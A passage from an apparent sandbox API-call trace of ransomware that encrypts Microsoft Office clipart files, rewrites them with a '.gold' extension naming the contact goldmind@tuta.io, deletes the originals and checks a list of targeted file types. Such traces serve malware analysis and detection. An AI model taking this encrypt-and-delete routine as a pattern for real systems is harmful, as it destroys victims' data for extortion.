Office\\CLIPART\\PUB60COR\\J0152560.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152560.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0109.635] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152560.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152560.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0109.635] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0109.635] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0109.635] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152560.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152560.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0109.636] GetLastError () returned 0x0 [0109.636] ReadFile (in: hFile=0x230, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x2a80, lpOverlapped=0x0) returned 1 [0109.649] WriteFile (in: hFile=0x3ac, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0x2a90, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0x2a90, lpOverlapped=0x0) returned 1 [0109.650] ReadFile (in: hFile=0x230, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0109.650] WriteFile (in: hFile=0x3ac, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0109.650] SetEndOfFile (hFile=0x3ac) returned 1 [0109.650] CloseHandle (hObject=0x3ac) returned 1 [0109.650] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0109.650] SetEndOfFile (hFile=0x230) returned 1 [0109.652] CloseHandle (hObject=0x230) returned 1 [0109.652] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152560.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0109.665] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152560.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152560.wmf")) returned 1 [0109.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152560.WMF") returned 63 [0109.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152560.WMF") returned 63 [0109.677] lstrlenW (lpString=".doc") returned 4 [0109.677] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0109.678] lstrlenW (lpString=".docx") returned 5 [0109.678] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0109.678] lstrlenW (lpString=".pdf") returned 4 [0109.678] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0109.678] lstrlenW (lpString=".xls") returned 4 [0109.678] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0109.678] lstrlenW (lpString=".xlsx") returned 5 [0109.678] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0109.678] lstrlenW (lpString=".ppt") returned 4 [0109.678] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0109.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152560.WMF") returned 63 [0109.678] lstrlenW (lpString=".zip") returned 4 [0109.678] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0109.678] lstrlenW (lpString=".rar") returned 4 [0109.678] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0109.678] lstrlenW (lpString=".bz2") returned 4 [0109.678] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0109.678] lstrlenW (lpString=".7z") returned 3 [0109.678] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0109.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152560.WMF") returned 63 [0109.678] lstrlenW (lpString=".dbf") returned 4 [0109.678] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0109.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152560.WMF") returned 63 [0109.678] lstrlenW (lpString=".1cd") returned 4 [0109.678] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0109.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152560.WMF") returned 63 [0109.678] lstrlenW (lpString=".jpg") returned 4 [0109.678] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0109.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152560.WMF") returned 63 [0109.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152560.WMF") returned 63 [0109.678] lstrlenW (lpString=".doc") returned 4 [0109.678] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0109.678] lstrlenW (lpString=".docx") returned 5 [0109.678] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0109.678] lstrlenW (lpString=".pdf") returned 4 [0109.678] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0109.678] lstrlenW (lpString=".xls") returned 4 [0109.678] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0109.678] lstrlenW (lpString=".xlsx") returned 5 [0109.678] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0109.678] lstrlenW (lpString=".ppt") returned 4 [0109.678] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0109.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152560.WMF") returned 63 [0109.678] lstrlenW (lpString=".zip") returned 4 [0109.678] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0109.678] lstrlenW (lpString=".rar") returned 4 [0109.678] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0109.678] lstrlenW (lpString=".bz2") returned 4 [0109.678] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0109.678] lstrlenW (lpString=".7z") returned 3 [0109.678] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0109.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152560.WMF") returned 63 [0109.678] lstrlenW (lpString=".dbf") returned 4 [0109.678] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0109.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152560.WMF") returned 63 [0109.678] lstrlenW (lpString=".1cd") returned 4 [0109.679] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0109.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152560.WMF") returned 63 [0109.679] lstrlenW (lpString=".jpg") returned 4 [0109.679] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0109.679] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0109.679] lstrlenW (lpString="J0152600.WMF") returned 12 [0109.679] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152600.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152600.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0109.679] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=9768) returned 1 [0109.679] CloseHandle (hObject=0x394) returned 1 [0109.679] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152600.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152600.wmf")) returned 0x20 [0109.679] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152600.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152600.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0109.680] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152600.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152600.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0109.680] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0109.680] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0109.680] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152600.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152600.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0109.681] GetLastError () returned 0x0 [0109.681] ReadFile (in: hFile=0x394, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x2628, lpOverlapped=0x0) returned 1 [0109.688] WriteFile (in: hFile=0x3ac, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0x2630, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0x2630, lpOverlapped=0x0) returned 1 [0109.689] ReadFile (in: hFile=0x394, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0109.689] WriteFile (in: hFile=0x3ac, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0109.689] SetEndOfFile (hFile=0x3ac) returned 1 [0109.689] CloseHandle (hObject=0x3ac) returned 1 [0109.689] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0109.689] SetEndOfFile (hFile=0x394) returned 1 [0109.691] CloseHandle (hObject=0x394) returned 1 [0109.691] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152600.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0109.711] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152600.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152600.wmf")) returned 1 [0109.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152600.WMF") returned 63 [0109.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152600.WMF") returned 63 [0109.735] lstrlenW (lpString=".doc") returned 4 [0109.735] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0109.735] lstrlenW (lpString=".docx") returned 5 [0109.735] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0109.735] lstrlenW (lpString=".pdf") returned 4 [0109.735] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0109.735] lstrlenW (lpString=".xls") returned 4 [0109.735] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0109.735] lstrlenW (lpString=".xlsx") returned 5 [0109.735] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0109.735] lstrlenW (lpString=".ppt") returned 4 [0109.735] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0109.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152600.WMF") returned 63 [0109.735] lstrlenW (lpString=".zip") returned 4 [0109.735] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0109.735] lstrlenW (lpString=".rar") returned 4 [0109.735] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0109.735] lstrlenW (lpString=".bz2") returned 4 [0109.735] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0109.735] lstrlenW (lpString=".7z") returned 3 [0109.735] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0109.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152600.WMF") returned 63 [0109.735] lstrlenW (lpString=".dbf") returned 4 [0109.735] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0109.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152600.WMF") returned 63 [0109.735] lstrlenW (lpString=".1cd") returned 4 [0109.735] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0109.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152600.WMF") returned 63 [0109.735] lstrlenW (lpString=".jpg") returned 4 [0109.735] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0109.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152600.WMF") returned 63 [0109.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152600.WMF") returned 63 [0109.735] lstrlenW (lpString=".doc") returned 4 [0109.735] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0109.735] lstrlenW (lpString=".docx") returned 5 [0109.735] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0109.735] lstrlenW (lpString=".pdf") returned 4 [0109.735] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0109.735] lstrlenW (lpString=".xls") returned 4 [0109.735] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0109.735] lstrlenW (lpString=".xlsx") returned 5 [0109.735] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0109.735] lstrlenW (lpString=".ppt") returned 4 [0109.735] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0109.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152600.WMF") returned 63 [0109.735] lstrlenW (lpString=".zip") returned 4 [0109.735] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0109.735] lstrlenW (lpString=".rar") returned 4 [0109.735] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0109.735] lstrlenW (lpString=".bz2") returned 4 [0109.735] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0109.735] lstrlenW (lpString=".7z") returned 3 [0109.736] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0109.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152600.WMF") returned 63 [0109.736] lstrlenW (lpString=".dbf") returned 4 [0109.736] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0109.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152600.WMF") returned 63 [0109.736] lstrlenW (lpString=".1cd") returned 4 [0109.736] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0109.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152600.WMF") returned 63 [0109.736] lstrlenW (lpString=".jpg") returned 4 [0109.736] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0109.736] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0109.736] lstrlenW (lpString="J0152608.WMF") returned 12 [0109.736] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152608.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152608.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0109.743] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=12436) returned 1 [0109.743] CloseHandle (hObject=0x198) returned 1 [0109.743] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152608.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152608.wmf")) returned 0x20 [0109.748] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152608.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152608.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0109.748] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152608.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152608.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0109.749] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0109.749] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0109.749] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152608.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152608.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0109.749] GetLastError () returned 0x0 [0109.749] ReadFile (in: hFile=0x3b4, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x3094, lpOverlapped=0x0) returned 1 [0109.757] WriteFile (in: hFile=0x194, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0x30a0, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0x30a0, lpOverlapped=0x0) returned 1 [0109.758] ReadFile (in: hFile=0x3b4, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0109.758] WriteFile (in: hFile=0x194, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0109.758] SetEndOfFile (hFile=0x194) returned 1 [0109.758] CloseHandle (hObject=0x194) returned 1 [0109.758] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0109.758] SetEndOfFile (hFile=0x3b4) returned 1 [0109.760] CloseHandle (hObject=0x3b4) returned 1 [0109.760] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152608.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0109.760] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152608.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152608.wmf")) returned 1 [0109.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152608.WMF") returned 63 [0109.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152608.WMF") returned 63 [0109.761] lstrlenW (lpString=".doc") returned 4 [0109.761] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0109.761] lstrlenW (lpString=".docx") returned 5 [0109.761] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0109.761] lstrlenW (lpString=".pdf") returned 4 [0109.761] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0109.761] lstrlenW (lpString=".xls") returned 4 [0109.761] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0109.761] lstrlenW (lpString=".xlsx") returned 5 [0109.761] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0109.761] lstrlenW (lpString=".ppt") returned 4 [0109.761] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0109.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152608.WMF") returned 63 [0109.761] lstrlenW (lpString=".zip") returned 4 [0109.761] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0109.761] lstrlenW (lpString=".rar") returned 4 [0109.761] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0109.761] lstrlenW (lpString=".bz2") returned 4 [0109.761] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0109.761] lstrlenW (lpString=".7z") returned 3 [0109.761] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0109.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152608.WMF") returned 63 [0109.761] lstrlenW (lpString=".dbf") returned 4 [0109.761] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0109.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152608.WMF") returned 63 [0109.761] lstrlenW (lpString=".1cd") returned 4 [0109.761] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0109.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152608.WMF") returned 63 [0109.761] lstrlenW (lpString=".jpg") returned 4 [0109.761] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0109.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152608.WMF") returned 63 [0109.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152608.WMF") returned 63 [0109.761] lstrlenW (lpString=".doc") returned 4 [0109.761] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0109.761] lstrlenW (lpString=".docx") returned 5 [0109.761] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0109.761] lstrlenW (lpString=".pdf") returned 4 [0109.761] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0109.761] lstrlenW (lpString=".xls") returned 4 [0109.761] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0109.761] lstrlenW (lpString=".xlsx") returned 5 [0109.761] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0109.761] lstrlenW (lpString=".ppt") returned 4 [0109.761] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0109.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152608.WMF") returned 63 [0109.761] lstrlenW (lpString=".zip") returned 4 [0109.761] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0109.762] lstrlenW (lpString=".rar") returned 4 [0109.762] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0109.762] lstrlenW (lpString=".bz2") returned 4 [0109.762] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0109.762] lstrlenW (lpString=".7z") returned 3 [0109.762] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0109.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152608.WMF") returned 63 [0109.762] lstrlenW (lpString=".dbf") returned 4 [0109.762] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0109.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152608.WMF") returned 63 [0109.762] lstrlenW (lpString=".1cd") returned 4 [0109.762] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0109.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152608.WMF") returned 63 [0109.762] lstrlenW (lpString=".jpg") returned 4 [0109.762] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0109.762] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0109.762] lstrlenW (lpString="J0152610.WMF") returned 12 [0109.762] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152610.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152610.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0109.763] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=5960) returned 1 [0109.763] CloseHandle (hObject=0x3b4) returned 1 [0109.763] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152610.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152610.wmf")) returned 0x20 [0109.763] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152610.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152610.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0109.763] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152610.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152610.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0109.763] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0109.763] SetFilePointerEx (in: hFile=0x3b4, 